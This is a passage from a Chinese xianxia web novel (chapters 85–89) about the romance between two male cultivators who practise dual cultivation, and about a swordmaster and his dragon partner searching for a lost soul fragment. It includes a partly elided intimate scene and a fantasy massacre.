沈云戚脑袋昏昏沉沉的,又从混沌中回过神来,两个人不知道什么时候已经滚作一团,身上的衣服也被脱了七七八八,前戏被拖得很长。 他从亲吻他的嘴唇,到脖子,到胸口,一寸寸肌肤往下,细致的照顾着他身体的每一处…… 他颤抖着,身体战栗着,羞窘不堪,这是双修吗? 前戏是不是有些过于冗长了。 沈云戚睁开眼,想要推开他继续往下吻的脑袋,贺兰忱俯身上来,在他开口之前再一次吻住了他,他瞪大了眼睛,这一吻结束。 ……删了一些见不得人的内容…… ……………… “我要开始了,如果不舒服,跟我说。”贺兰忱说话的声音低低的,缠绵的,好似呢喃耳语似情话那般。 “嗯。”戚宝声音哑然。 ……已删完…… 他们现在并没有在双修,他们只是在…… 贺兰忱轻笑一声,用力,道:“我想让你先适应一下我的身体,以及我很硬。” “……”他愤怒的看着他。 眼角都泛着红,不知道是生气还是太过动情。 “你……骗我。”沈云戚真是出离了愤怒、 ……已删除…… 沈云戚在泉水里清洗的时候,那不要脸的狗东西也进了池子,温声道:“要我帮你清理吗?” 沈云戚瞪了他一眼,他依旧是那副正色的模样,没有揶揄也没有嘲笑,这倒是让他心里好受些。 “要。”戚宝冷着脸。 “弄疼你了吗?”贺兰忱问道。 沈云戚嘴硬道:“不适。” “哦,我还以为你是害羞了。”贺兰忱目光一瞬不瞬的看着他的脸,想要从他脸上看出来什么。 沈云戚听了这话,顿时恼了,道:“谁害羞了?倒是你,不要脸。” “耳朵红了。”贺兰忱指尖带着水珠,点了点他的耳尖。 沈云戚立即像是炸毛了一般,愤怒压抑不住了,直接附在他的脖颈间,重重的咬了上去。 “唔嗯……”贺兰忱闷哼一声,仰着脖子,让他可以咬得更深一些。 他火大,却又不知道为什么这么生气。 贺兰忱轻轻抚摸着他的背脊,道:“撒好气了吗?” “你以为我在撒气吗?”他松开牙,他脖子上被咬出了牙痕,隐隐还有血迹。 贺兰忱道:“你可以咬得更重一些,毕竟你昨晚没少咬我,只是……万一被别人看到。” “这里根本没有外人!”沈云戚怒道。 贺兰忱靠近他一些,沈云戚忽然发现了他的异样,脸色骤变,往后退了一步,道:“我洗好了,你自己解决一下吧。” 贺兰忱:…… 沈云戚转身上了水池,贺兰忱看着他的背影,背上布满了红色的吻痕,像是落在雪地的红梅。 这样可能解决不了 贺兰忱缓缓闭上眼睛,面前浮现的事他泫然欲泣的脸,泪水涟涟的,他舔舐掉他眼角的泪水,他的眼睑剧烈的颤抖着。 好像更糟糕了。 沈云戚坐在池边穿衣服,便听到身后的人起身的水声,他问了句:“这么快?” 贺兰忱额角直抽抽,觉得他真是扫兴大师,每一句话都在他的雷点上蹦迪。 贺兰忱道:“你也就在你爹面前甜甜的。” “甜甜的?”戚宝有些讶异,没想到他会这么评价自己。 贺兰忱在他旁边坐下,斜眼瞥了他一眼,漫不经心的说道:“会撒娇,还夹子音。” “……夹子音。”沈云戚无语,然后反问贺兰忱,“难道我要对你撒娇?” 贺兰忱怔怔的看向他,喉结上下滚动了一下,心中有什么想说的,又忽然烟消云散了。 他一只手抚在他的肩头,凑近他耳边,道:“别穿衣裳了,我们双修吧。” 他回眸,正好对上贺兰忱的眼睛。 他说这话的表情依旧是认真的,不带一丝情欲的。 贺兰忱见他没有拒绝,凑近他的唇,就在此时,沈云戚忽然问了句:“你喜欢的人是谁?” 被发现了吗??如果他发现了,承认喜欢他也并不是丢脸的事情。 不敢说只是害怕连站在他身边的机会都没有。 “唔……他啊。”贺兰忱眸光微动,盯着眼前的人,眼底满是笑意。 沈云戚心头忽然一动,像是意识到了什么,偏过脸去,不想继续追问了。 贺兰忱凑在他耳边低声说了句什么,沈云戚恼火的瞪他一眼,随后将空间里的双修功法丢给他,让他先研究研究。 时间一晃而过半年。 两个人在小洞天里双修突破了好几个境界,修为可谓是一日千里。 沈云戚的修为终于从筑基期到了金丹后期。 点评自己的双修搭子:好用,爱用!嘻嘻。 再看自己的双修搭子修为,从元婴后期到了分神期。 沈云戚:不嘻嘻。 “你该不会拿我当炉鼎吧?”沈云戚忽然想到他心魔里的事情。 凭什么你比我厉害这么多??贺兰忱真是日了狗了,老子辛辛苦苦的陪你双修,你说我拿你当炉鼎! “那继续吧。”贺兰忱张开手臂,敞开怀抱。 第 86 章 猪叫龙吟 奉天城郊。 沈不忘故地重游, 来到当年的梨园春雪,这处依旧是乱葬岗。 此时更显诡异寥落,尸骨一具一具的堆栈着, 像是骷髅堆积的山一般。 鸦声阵阵, 崎岖的枯树枝上绑着标, 似要引导亡魂走向轮回。 这是沈不忘当年找到戚宝一魄的地方,他当时明明都找到了, 最后却不知怎么又走丢了,之后便没了戚宝的气息。 沈不忘这些年得益于双修的功劳, 修为突飞猛进,他从仙岛到达奉天城不过半日,还是当年寻到戚宝丢失的一魂之地,到达此处铃铛便不响了。 “难道不是这里?”沈不忘自言自语道。 这么多年了,还未找回戚宝丢掉的魂魄, 当年已经找到了, 可是却未带回,之后便再也踪迹。 他也曾去寻找过那个骷髅鬼王,对方也一问三不知,沈不忘把他打碎了骨头,过不了多少时日, 他又能活蹦乱跳。 沈不忘知道自己不能拿捏他,便也不管了。 缘分,一切都是缘分。 沈不忘心态很好的想着,若是有缘的话,肯定还能找到的。 天地之大,沈不忘也没有特地去找,他打算从奉天城出发, 朝着南面找去。 沈不忘御剑在天,他看到地上的人潮宛如蚂蚁一般,他们全都涌向都城。 南方洪水滔天,中州烈日炎炎,西北与月照国的战事练练惨败。 山河倾颓,人间惨不忍睹。 沈不忘不禁拧眉,他在山上呆了这些年,人间竟然变成了这副模样? 他的目的地是南方一些城镇,途径一些他曾经带戚宝走过的路。 或许这些地方会有线索。 南城发生了洪涝,天地笼罩在漫天的水瀑中,黑暗的浓云宛若末日。 阴云之上,雷霆滚滚。 沈不忘似乎看到了个熟悉的身影,他看到了翻滚的云层中,有个白色的影子。 “轰隆隆——” 雷声掩盖了龙吟,白色的影子不是巨龙的对手,像是折翼的白鹤,从万里黑云中坠落,掉进了滔天的洪水中。 这一出没有凡人会在乎,只有沈不忘看到了。 沈不忘眉心抽了抽,他赶紧朝着南城而去。 无数的房屋被淹没,沈不忘看到一家人被困在房子的屋顶上,大水马上就要淹没他们了,妇人怀中的襁褓里还有刚刚出生的没多久的孩子,大水淹没他们的时候,妇人高高的将襁褓举起,想要奢求一个奇迹,让孩子多活片刻。 沈不忘见此情此景,心头忽然一动,冲向洪水中,将妇人和她的孩子从水中救起,放到高处。 妇人连忙跪在地上感谢:“谢谢仙人,谢谢仙人,求求你救救我家丈夫吧,这个家不能没有他。” 沈不忘看着可怜的妇人,还有怀里被雨水打的脸色惨白的小婴儿,没有言语,还是应了她的要求,将她家里人救了上来。 他们家地势太低了,上游的洪水倾泻而下,便淹没了他家。 沈不忘抬头看着天上不正常的乌云和暴雨,电闪雷鸣中,看到了一个巨大的翻滚的影子,像是一条黑色的龙,搅动着天上的风云,带来了人间的巨大灾害。 那龙似乎也看到了他,从天上俯冲而下,巨大的脑袋比山海大,他凑近被沈不忘救下来的妇人,她已经被吓得肝胆俱裂,不甘吱声。 “神龙啊,是神龙。”其他的村民看到他纷纷跪下膜拜。 巨龙一呼吸,便带来狂风,直接吹翻了所有人,他冷沉沉的声音问道:“就是这个女人吗?她已然为别人生儿育女,她配不上你,我杀了他。” “别闹了,他们只是凡人。”沈不忘打断他的话。 渡妄道:“你还护着她。” “没有这个人。”沈不忘冷着脸,“你闹出这么大的动静,会死很多人的,我们先回去,你让洪水退去。” “不,我要他们都死。”渡妄狂怒道。 沈不忘冷着脸看着他,渡妄也气势汹汹的盯着他,没有要退让的意思。 沈君钦也是个宁折不弯的人,修了无情道的他更是这般。 他们或许会有一场恶战,渡妄心里澎湃着怒意和杀意,就算打架,他也不会退让的。 面前的人有动作了,他朝着他靠近,对着他伸手。 一双修长白皙的手,被豆大的雨水打的生冷,他的手掌覆盖在他的脸上,小小的一个,甚至比不上几片龙鳞大,他轻轻的抚摸着他,安抚道:“抱歉,我不该在你难受的时候离开,我们回去。” 渡妄怒意一歇,理智回归片刻,随后而来的事更深的暴怒:“你想骗我。” “我没有骗你。”沈不忘将脸贴在他的脸上,“你就算跟我生气,也不要将怒意发泄到别人的身上,更何况是与你无关的万千生灵了?” 这是有因果的,沈不忘害怕这些报应会落在戚宝的身上。 渡妄顿了顿,似乎还是很生气,此时此刻,他能感受到道侣的情绪,知道他在担心什么。 反正他心里只有他的儿子。 那崽子也不该留的,心中的恨意腾生,在滔天的魔气和恶念中诞生的魔龙,天生便没有善可言。 沈不忘摸了摸他的脸,收手的时候,忽然看到手心黏黏的,青绿色的粘液沾满了手心。 “你受伤了,刚刚那个修士把你打伤了是吗?”沈不忘柔声问道。 渡妄心中的怒火一消,愣了一下,顽固的说道:“才没有,他根本不是我的对手。” “那他不小心把你打伤了,我带你回去疗伤,好吗?”道侣说话的声音温柔又好听,那张脸在冰冷的雨水冲刷下,显得有些苍白,荼金色的眼里只有他一人,哦不,是龙。 他心里忽然满足了,蹭了蹭他的手,低吟道:“好。” 天空中的云雨歇了,大地的洪水退去。 那个仙人也被巨龙带走了,所有人跪在地上顶礼膜拜,感谢仙人拯救他们。 沈不忘被他丢似的仍在玉榻上,男人眼底满是熔岩般的红色,看上去十分可怖,他冲天的怒意亦或是别的什么,看上去有些森森可怕。 沈不忘也不管他现在是生气还是如何,从空间里拿出疗伤的药物,倒在他的受伤的额头上。 渡妄这才发现有些疼,可是脸上却冷冷的,道:“不要以为说几句好话,我就会原谅你。” “我又没做错什么事,为什么要得到你的原谅?”沈不忘有些不解的询问。 言辞恳切,真心实意的询问。 渡妄又怒了,站起来不让他给自己擦药。 沈不忘按着他的肩膀让他坐好,男人固执的偏过脸去,道:“不要你擦,让我流血流死好了。” 沈不忘为难的看了一眼他的伤口,已经在灵药的作用下愈合了,他道:“恐怕你不能如愿了。” “哼,就知道你舍不得。”渡妄冷哼。 “行,我舍不得。”沈不忘点点头,从容应是。 渡妄又哼了一声。 沈不忘坐他旁边,用手肘撞了他一下,渡妄冷哼一声。 沈不忘又用手肘撞了他一下,他又哼了一声,往旁边挪了一点。 他要继续撞…… “你干什么?”渡妄捏住他的手臂,“不要以为你一直骚扰我,我就会理你,你先反省一下自己错在哪里了。” “你不用理我。”沈不忘心情不错的说道。 渡妄黑了脸,咬牙道:“那你还撞我……” “因为我撞你一下,你就哼一下,很有意思,很像我以前养的猪。”沈不忘沉思道,“原来龙师这么叫的,有点意思。” 戚宝变成小龙的时候,让他龙吟,他说什么都不会,原来是像猪叫,所以不愿意。 真有趣。 渡妄听到这话,顿时瞪大了眼睛,满脸写着不可置信,道:“你、我……你真……气死我了,你肯定是故意的,对吧?” 沈不忘茫然,沈不忘想解释,沈不忘说不出话。 那个说什么都不愿意原谅他的恶龙,将他压在玉床上,变成龙,缠着他。 在他耳际怒吼,龙吟,让他听听,他才不是猪叫!! 沈不忘耳朵都快被他吼聋了,一脸麻木的望着天。 对咯,他为什么要逗他玩?这不是自找麻烦吗? 沈不忘听着他骂骂咧咧的声音,双手捧住他的脸,道了句:“闭嘴。” “不闭,不闭!”渡妄骂骂咧咧。 “那你别怪我使用特殊手段了。”沈不忘正色道。 “看你能使什么手段?”渡妄冷笑,眼中却透着几分警惕。 沈不忘深吸一口气,仰头亲了上去。 唔…… 手段确实特殊,让人无法招架。 …… 夏日去,秋日来。 一行少年寻到了仙岛之下。 此处的风伴随着充裕的灵气。 他们感受着灵气洗刷着经脉,为首的正是御剑山庄的南宫玄翎,他拿着幻影珠,一边兴奋的跟寻鹿说道:“剑尊肯定是在这山上,这真是个灵气充裕的福地洞天。” “嗯,这里确实有他的气息。”寻鹿点点头,心情十分不错。 “也不知道他愿不愿意同我们一起去帝陵秘境。”青云宗的弟子也在其列。 “肯定会啊,剑尊心系天下,必然会出山解救生灵万物。”另一个弟子信心满满的说道,“师兄,你觉得了?” 俞观南被他撞了一下,才从恍神中回过来,道:“应该会吧。” 其实他并不在寻剑尊的小队之中,他来找剑尊,无外乎是来告知他们,沈云戚和贺兰忱在西山无归走散了,希望他们能去解救。 他是在几个城镇之外遇上这个小队的,他们应该寻了剑尊有一段时日了,却不知道他身在何处。 俞观南是从沈云戚他们的言谈中才知晓他们闭关的山头,当时他一时闹热,便带着这群人来到此处。 他心中隐约有些不安,总觉得自己带着这些人前来此处,不是什么好主意。 第 87 章 接近真相。 “叮铃——”一声, 再一次听到了魂铃的响声。 沈不忘坐起身来,从元神里将魂铃给拿出来,十分细微的声音像是浅浅的风吟之声。 怎么又开始响了? 沈不忘私心里觉得自己应该去寻, 可看着腰间的环着的手臂。 若是他走了, 某人或许又该发疯了。 沈不忘犹豫了片刻, 将浅眠的人推醒,渡妄幽幽的睁开眼, 环着他的腰,将脑袋枕在他的腿上, 嘟囔道:“又想要了?” 沈不忘:“……”并没有,他又没有发情期。 沈不忘道:“我有件事情想要跟你说,希望你不要一直误会。” “嗯?”渡妄慵懒的打量着他。 从这个角度可以看到仙君垂着脑袋看他,一只手抚在他的脸上,目光温柔又动人, 无端让人心中生出一些痒痒的感觉。 沈不忘道:“关于戚宝的娘。” “嗯?!”渡妄目光骤然变得冷冽, 杀机一闪而过,随后便是笑,“说吧,你找到她了吗?我很大度的。” “没有这个人,戚宝根本没有娘亲。”沈不忘跟他说过好多次, 可能他一直以为他在狡辩,所以并不相信,所以,他需要郑重的告诉他。 “所以,你不要一直因为戚宝娘亲的事情而生气。”沈不忘轻轻抚摸着他的脸颊,温声说道。 渡妄心头一跳,问道:“那他是哪里来的?” 沈不忘顿了一下, 思索了一番,认真解释道:“就是……被雷劈出来的。” 渡妄露出一言难尽的表情,道:“你的意思是,你有感而孕,还是他是天道降下的?” “……不知道。”沈不忘认真的回答。 渡妄也没有继续追问,荒废了几百年的脑子,艰难的卡壳的运转起来。 这些年他总拿圣地里的事情说道,还有以前他如何如何对自己好(编的),可是沈不忘都漠然以对。 有一次,戚宝贺兰忱他们听到了,于是一唱一和的说他拿道侣当替身,心里想的竟然还是初恋,竟然还怂恿沈不忘带着他们两个远走高飞。 渡妄那叫一个冤枉啊,可是沈不忘偏偏信了。 之后只要他一提以前的事情,沈不忘便说他是替身。 渡妄气得好好教训了一顿两个小东西,这才知道,原来沈不忘失忆了。 不怪他笨,不动脑子,而是道侣素来都是一张看谁都冷漠的脸,以前是,现在也是。 知道他失忆后,他也曾想过帮助他恢复记忆。 但是不怎么走心,一切随缘。 渡妄一直以为,沈不忘是从秘境里出来后跟凡人女子生的戚宝。 现在他说是被雷劈出来的,那意味着他度了一次雷劫。 仙君渡劫之前已经是大乘期的修为了,若是再渡劫,那便要飞升了。 可是按照他现在的修为水平来说,一点修为都没有。 总不能是在人间修行渡劫的,再往前一些,他的修为巅峰便是从荒古圣地双修出来的时候。 连圣地都困不住他,必然是巅峰。 那他的雷劫便是与他双修之后,被劈了,孩子就出来了。 渡妄顿时眼睛一亮,问道:“那,有没有可能,戚宝是我的儿子了?” “不可能。”沈不忘立即否认,“他生下来的时候是个金色小丸子,你是龙,应该生蛋。” 沈不忘十分有理有据的说道。 戚宝生出来的时候是个金丹,他还以为自己的内丹被劈出来了。 之后他便幻化成小婴儿了,再大一点才会变成小金龙。 而且他是金闪闪的,可是眼前的魔龙是黑色的。 根本不一样。 渡妄听到这话,顿时脸色黑了下来,道:“那你说他是怎么来的?” “不知道。”沈不忘扶额,叹息道,“要是戚宝记得小时候的事情,他肯定知道自己是怎么来的。” “嗯?”渡妄有些懵。 沈不忘语气中有些自豪的说道:“这你就不知道了吧,戚宝什么都知道,可惜四岁的时候上山受惊了,失忆了。” “你们真是失忆父子,那你知道他怎么才能恢复记忆吗?”渡妄问道。 沈不忘垂着眼眸,眼中带着淡淡的愁思,道:“若是能找到他的一魄,或许……可是我不知道它去哪里了,当时,我记得我明明已经找到它了。” 那时候,他灵魂出窍,在亿万魂魄中,找到了小小的戚宝,他牵着他的手,想要带他离开。 穿过一片火海之后,他便丢了。 渡妄忽然眉心一动,抬手拿出一个珠子,问道:“是这个吗?” 沈不忘顿时眼睛一亮,捧起那个小珠子,原本珠子里混沌散掉的魂魄,此时已经变得澄澈,汇聚成一团。 它虽然尚未完全聚集,可是已经在慢慢恢复。 养魂珠只能让魂魄不散,这些年渡妄也曾悄悄的想要修复,一直都徒劳无功。 最近,不知道怎么回事,它竟然自己开始凝结起来了。 沈不忘爱不释手的捧着那个养魂珠,道:“怎么在你这?真的是戚宝。” 渡妄看着道侣喜上眉梢的样子,心情不由变好。 “我想起来了,是你放火烧我们的。”沈不忘脑海中灵光一闪,那次穿过的火海,就是渡妄的魔焰。 渡妄笑容僵在脸上,有些心虚,尴尬道:“我也不是故意的,我也有在弥补,你、你该不会生气吧?” 沈不忘沉眸看他担心的模样,挑了挑眉。 “我发誓,我真的没有想害戚宝啊,我真的把他视若己出。”渡妄解释道。 沈不忘哼了一声,起身,捧着养魂珠离开了屋子。 渡妄心有戚戚焉,赶紧穿上衣裳跟出去。 “你这些年是不是一直在找它,要是你早点告诉我,你在找什么,我也可以帮忙。”渡妄说到。 沈不忘坐在树下,滴了一滴血进去养魂珠里。 里面汇聚的魂魄,似乎变得更快一些,假以时日,必定能重新凝结,重回戚宝的身体。 渡妄眼珠子转了转,道:“要不这样吧,我们去圣地将戚宝他们接回来。” “不用了,让他们自己回来。”沈不忘目光全神贯注落在那个养魂珠上。 里面的魂魄汇聚了又散开,似乎并没有要好起来的样子。 渡妄满是惊慌,道:“怎么回事?孩子怎么散黄了?” “它一直都这样吗?”沈不忘问道。 渡妄点点头,又摇头,想想又觉得不对劲,立即又摇头。 若是让道侣知道,一开始戚宝的魂魄被他烧的快魂飞魄散了,指不定又是一顿打。 他皮很厚,根本不怕打,也不怕疼。 但是意义不同,他可不敢跟道侣的儿子比重要性。 尤其是,戚宝也可能是他的儿子。 渡妄现在已经有九成把握断定,那是自己的崽了。 可有些人就是不承认,还有很多歪理强行解释。 “到底是不是?你有点头又摇头的,我很难判断。”沈不忘这才将目光投向渡妄。 渡妄赶紧坐在他旁边,解释道:“你别担心,他肯定不会有事的,我们一起想办法把它凝聚起来,之前十几年他都没有任何变化,最近,也就最近半年,才开始凝聚。” 沈不忘点点头,问:“这半年你做了什么吗?” “做了……”渡妄想说自己什么都没做,忽然脑子一抽,道,“爱。” 沈不忘顿了一下,抬手弹了他一下,笑道:“脑子里想什么了?” “你不生我气吗?”渡妄摸了摸脑门,一点都不疼。 沈不忘笑道:“生什么气?” “我把戚宝的魂给烧散了。”渡妄难得会有心虚的时刻,平日里做坏事都理直气壮的。 沈不忘反应过来,拉着他的手,覆盖在自己手心里的珠子上,道:“不生气,我还很感激你,戚宝也很喜欢你,如果没有你的话,他的魂魄肯定早就不见了。” “真的吗?”渡妄眼睛一亮。 沈不忘点点头,十分认真的说道:“他从小就挺喜欢你的。” “那你了?”渡妄追问道。 “我……” 沈不忘觉得他应该也是喜欢他的吧,反正不讨厌。 手心里的养魂珠,忽然微微发烫,飘散的魂魄,忽然开始汇聚起来。 渡妄顿时眼睛一亮,道:“我知道了!!我知道了。” “知道什么了。”沈不忘疑惑。 “走走走,我一定会让你爱上我的,这样,我们的宝宝才能好起来。”渡妄得意洋洋,自认为自己发现了什么大秘密。 沈不忘蹙眉道:“才不是你的宝宝。”那是我的。 渡妄才不管,带着他离开了仙岛。 他忽然发现仙岛下的山林里有人来了,不过这并不打紧,他大手一挥,将仙岛送回魔界。 随后便于沈不忘消失在人间了。 沈不忘回头看了一眼,眯了眯眼睛,他看到了一个熟悉又陌生的修士。 那是…… “等等。”沈不忘想要阻止他离开。 渡妄已经带着他踏破虚空,一步万里了。 渡妄回头道:“怎么了?” “我刚刚看到了个熟人,就是与你打架的人。”沈不忘心中有种不好的预感。 那个人身上有问题。 渡妄意味深长的看着面前的仙君,很快露出一抹怪笑,问:“我跟谁打架了?” 沈不忘沉思片刻,道:“就是你变成龙的时候,有个修士与你打斗,你不记得了吗?” “那个人不是你吗?”渡妄沉默片刻,反应过来挑眉笑道,“你又失忆了对吧?” “……没有。”沈不忘否认。 渡妄挑眉,道:“你我还会认错吗?” “难道我真的又失忆了?”沈不忘自言自语了一句。 可是他很快就否认了,他下山后做的事情是连续的,他没有休息,也没有任何时间与渡妄缠斗。 他清楚的看到那个修士落入洪流中,那个人肯定不是他。 沈不忘忽然惊了一下,立即抓住了渡妄的胳膊,警觉道:“我们现在就回去,有人冒充我杀人。” “不可能吧。”渡妄将信将疑的。 重回仙山,鸟雀散去,空气中散发着淡淡的死寂。 灵气中带着血气,两人来回不过片刻,来山上参拜仙尊的少年修士们,全都倒在了血泊之中。 “儿啊,儿啊!”少年手中的珠子里御剑山庄的老头还在喊他。 沈不忘走近一看,庄主瞪大了眼睛,道:“你、你为何要杀我儿子?” 沈不忘解释道:“不是我杀的,我可以护住令郎的神魂,等他恢复理智后,说清楚究竟是谁杀了他。” 庄主双唇哆嗦着,道:“好、好的。” 话虽如此,南宫庄主还是很快给各大宗门传音,将疑似剑尊杀害了那群弟子们的事情传了出去。 同时还附上了这段留影,等待评判。 第 88 章 是双修,是修行! 荒古圣地中, 没有日月星辰的转换。 沈云戚与贺兰忱又在闭关双修中,不知岁月流转,外面过去了多久。 被验证过的双修功法, 很有效, 加上两个人的天赋极佳。 这段时日, 两个人的境界已经突破好几次了。 这日是两个人修炼的关键时刻,沈云戚的境界从元婴后期冲击出窍期间, 原本一切都水到渠成的,他却忽然心神不宁起来。 内息开始紊乱, 他身体微微颤抖着,贺兰忱立即醒过来,赶紧将人揽在怀里,轻轻安抚着。 贺兰忱帮助他巩固修为,引导着他体内的未曾炼化的灵气, 来到自己的体内。 原本是为了帮助沈云戚突破的, 这下倒好,贺兰忱一不小心突破至分神后期。 修行越是往后便越难突破,他们两个人这般迅速,若是被修真界知晓,只怕无人不会叹息一声天才。 贺兰忱虚虚的想着, 他现在依旧被沈云戚高两个大境界,他该不会生气吧? 他搂着怀里的人,躺在地上望着天上不变的云层。 唔,这可怎么办啊? 沈云戚恍恍惚惚的从心惊中醒过来,坐起身来揉了揉眉心。 贺兰忱凑上来,声音低沉的询问:“刚刚怎么了?” “我、不知道,突然感觉好心慌, 就走神了。”沈云戚说话的声音还带着沙哑。 贺兰忱盯着他的脸,白皙的皮肤红红的,晕着粉,一双又黑又亮的眼睛,正思索着什么,半晌没听到他的回答,眼珠子一动,看向他。 “你这么看我干什么?”沈云戚心下一慌,赶紧起身。 两个人纠缠久了,如此亲密的姿态纠缠在一起,骤然分开,让他还有些不适。 心中臊得慌。 沈云戚心里默默安慰着自己,是双修,是修行! 贺兰忱将衣服披在他肩头,若无其事的问道:“你查看一下自己修为,看看是否可以离开此地。” “嗯嗯。”沈云戚立即内视自己的内丹,境界已经从最开始的筑基期到达元婴后期了。 他很开心,脸上重新染上了笑意。 沈云戚回头去找贺兰忱,发现他已经穿好衣服,又去追七彩鸟去了。 不过瞬息,便抓来三只。 沈云戚朝着他走去,脚步匆匆,竟直接撞了上去。 贺兰忱当即丢了手上的鸟,伸手揽住他的腰。 贺兰忱被他撞倒在地,他在上压在他身上。 两个人四目相对,沈云戚心中觉得奇怪,怎么这么撞一下就倒了呢? 他挪开目光,颇有些尴尬,道:“你……你这是虚了吗?” 贺兰忱心里啧了一声,真是一句他爱听的话都没有,还是双修的时候好。 他无论说什么骚话,他都会红着脸,让他不要再说了,实在忍不住,还会拿嘴巴堵住他的唇,或者将脸埋在他的颈窝里,羞得不敢抬头。 “……我还以为你想骑我了,所以就躺下。”贺兰忱没皮没脸的说道。 沈云戚听到他的这话,顿时又红了脸,顿时又十分不满的瞪了他一眼。 他压下心中的悸动,冷酷的起身,整理了一下身上的衣服,道:“暂时不用。” “用完就丢,我跟炉鼎有什么区别?”贺兰忱自怨自艾的说道,“你好无情啊。” “你猜把我当炉鼎,你现在什么修为了,我什么修为?”沈云戚愤愤不满,看到他的还是比自己高两个大境界,就恨得牙痒痒。 贺兰忱道:“那继续来吧,我一定要跟你修到一样的修为。” 沈云戚顿时瞪大了眼睛,不可置信他竟这么色欲熏心,都双修这么久了,竟然还要来,道:“才不要。” “那可怎么办啊?你又赶不上我,我是真心诚意的想要帮助你的。”贺兰忱继续逗他。 沈云戚心说,一直双修也没用,还是要试炼。 他们该离开此处才对,按照他们现在的修为,应该可以从妖僧的手中逃走吧。 当时追杀他们的三人打了起来,另外两个在神祇谷的时候被他爹打伤了,伤口上的剑意会不断禅食他们的修为。 所以他们不是妖僧的对手,在进入荒古圣地之前,便灰溜溜的跑了。 沈云戚觉得,他最好还能抢回自己的无相书,那个骷髅鬼,应该还在里面吧。 “在想什么?在思考姿势吗,现在这样就可以,我愿意被你骑。”贺兰忱建议道。 沈云戚根本不理他,手指抵在他唇上,做了个噤声的动作,霸道开口:“不许说话,你是我的童养夫,你应该听我的。”真不知道这嘴里还能说出什么话来。 “哈哈哈,好好好,那老婆大人有什么吩咐吗?”贺兰忱开开心心的当童养夫。 沈云戚小脸一红,吩咐道:“嗯,那你就去给我做个午餐吧。” 贺兰忱应好。 沈云戚看到他去忙碌了,便拿出通讯符,跟他爹汇报修炼进度:“爹爹放心,孩儿一切安好,很快就能回来看你们啦。” 待他说完,回头便看到贺兰忱似笑非笑的看着他。 甜甜的,夹子音。 沈云戚清了清嗓子,道:“注意火候,我要吃脆皮的。” “好嘞,乖老婆。”贺兰忱应道。 沈云戚:!!! “算了,我原谅你。”沈云戚小声嘀咕了一句,容许你放肆一次。 “原谅我什么,说清楚,我不懂做错了什么。”贺兰忱听见了。 沈云戚盯着他,不言不语。 贺兰忱见他可爱得紧,伸手摸摸他的脑袋,跟给小狗顺毛一样:“乖宝宝。” 吃过脆皮的烤小鸟,已经过去了不少时间,沈云戚看着通讯符,疑惑道:“爹爹怎么不理我们了?” “估计他们……有事在忙吧。“贺兰忱委婉的提醒道。 沈云戚皱着鼻子,不理解道:“真的吗?就算坏爹会不理我,我爹肯定不会不理我。” “毕竟有时候……可能会吧。”贺兰忱挠挠头,双修到了关键时刻,谁还有心思打理别人啊,就算天塌下来了,兴许也会想着,死了也是风流鬼,不亏。 沈云戚不服气道:“那你孩子要是找你,你不回吗?” 贺兰忱耸耸肩,道:“我没有孩子啊。” 眼看着他愁眉紧锁的样子,便笑道:“要不你给我生一个吧,欸,说起来,你肚子里说不定都有宝宝了。” “你胡说什么?”沈云戚顿时瞪大了眼睛。 贺兰忱继续畅想道:“是个小龙宝宝吗?还是生下来是个人,要不你问问爹,你生下来的时候什么样子的?” 沈云戚哽了一下,不跟他说话了。 他起身,朝着远处走去,继续联系他爹。 父子连心,他从来到这个世界,都没有跟爹分开过。 此次出来历练,算是离开爹最久的,他们双修过两次了,按照周天来计算,外面应该过去一年了。 为什么这么长的时间,爹爹都没有找过他? 修士们的寿命比凡人长,追求长生一道,亲缘都很浅淡,修行闭关多是眼睛一闭一睁就好多年过去了。 这是修真界的常态,可是沈云戚不习惯。 他还是保留着正常凡人的作息,掰着手指过日子,一朝一夕都很珍贵。 “爹爹,你在吗,听到我的话了吗?”沈云戚继续尝试联系沈不忘。 他等了一会,那头传来了爹的声音:“乖崽,爹爹在帝陵秘境,很快就回仙岛。” “那就好,我也很快就能出去了。”沈云戚立即兴奋的说道。 沈不忘道:“嗯,你们出来的时候,可以去魔界仙岛,爹有个东西留在那了,是给你的。” “什么东西啊?”沈云戚有些期待的问道。 声音戛然而止,帝陵之中险象环生,只怕沈不忘也没有精力分神了。 贺兰忱凑了过来,询问:“爹回你消息了吗?” “回了啊,还说要我们去魔界仙岛,有礼物送给我。”沈云戚心情大好,喜上眉梢。 贺兰忱挑眉,认真分析道:“仙岛不是在山上么,为什么突然到了魔界去了?难道遇上了什么意外,还是师尊不想被旁人发现?”他口中的师尊是渡妄。 “对哦,难道遇上了什么事情,我爹竟然还去了帝陵,里面还有什么东西吗?”沈云戚不明所以。 贺兰忱神色顿时凝重起来,沈云戚也想到了什么:“还有星灵!” 星灵,是上界最后五个神明留下来的一滴血。 分散在这个世界的五个地方,若是能得到五个星灵,便能汇聚为圣血。 这也是原文小说里,沈云戚置之死地后,得到圣血能反杀贺兰忱的原因。 他得到了上界大能的传承。 当年,沈云戚已经得到了三个。 他爹难道是为了帮助他修炼,所以才去帝陵秘境的吗?为的就是得到最后的两个星灵? 沈云戚脑子里全是疑云,之前的不安加上现在的疑惑,所有的情绪汇聚在一起,变得焦虑起来。 帝陵秘境还是很危险的。 “我们快点从圣地离开吧。”沈云戚赶紧道。 贺兰忱也不纠结,他们双修本就是离开此处,现下师尊们又有事情,自然耽搁不得。 阵眼于破碎中不断重建,灵力变成罡风,周遭还不断的有劫雷汇聚。 若是想从此处出去,便要经历如刀割般的灵气雷霆,境界不够则是会瞬间沦为血肉,神魂飞散。 “这……”沈云戚看到此情此景,忽然愣了一下。 “额。”贺兰忱也觉得十分眼熟,清了一下嗓子道,“师尊的仙岛,必然也是从此处得到灵感,所以才有灵气护山大阵。” “呵呵。”沈云戚掐着手心,坏爹真是坑娃啊。 此处阵眼,确实与仙岛是一样的,他们两人这些年的修行,早就习以为常了。 怎么可能出不去? 渡妄就是想要把他们困在此处,所以给出了错误的信息。 贺兰忱见沈云戚咬牙切齿的样子,心中不由打鼓,问道:“你、该不会后悔了吧?” “什么?后悔什么?”沈云戚问道。 贺兰忱沉吟道:“怀了我的宝宝,那你就不是唯一的宝宝了。” “……收回这句话。”沈云戚瞪他一眼,心中羞窘不已,真是胡说八道什么。 语毕,他便朝着阵眼而去,贺兰忱赶紧跟上。 第 89 章 故人相逢 从圣地出来, 便是西山。 世界藏于黑暗中,天上的黑云滚动,看不出是天黑还是白天。 他们两人出现在西山之时, 无数的云又朝着此处汇聚而来, 伴随着狂风。 “这是——雷劫?”贺兰忱立即眯了眯眼睛。 元婴往上, 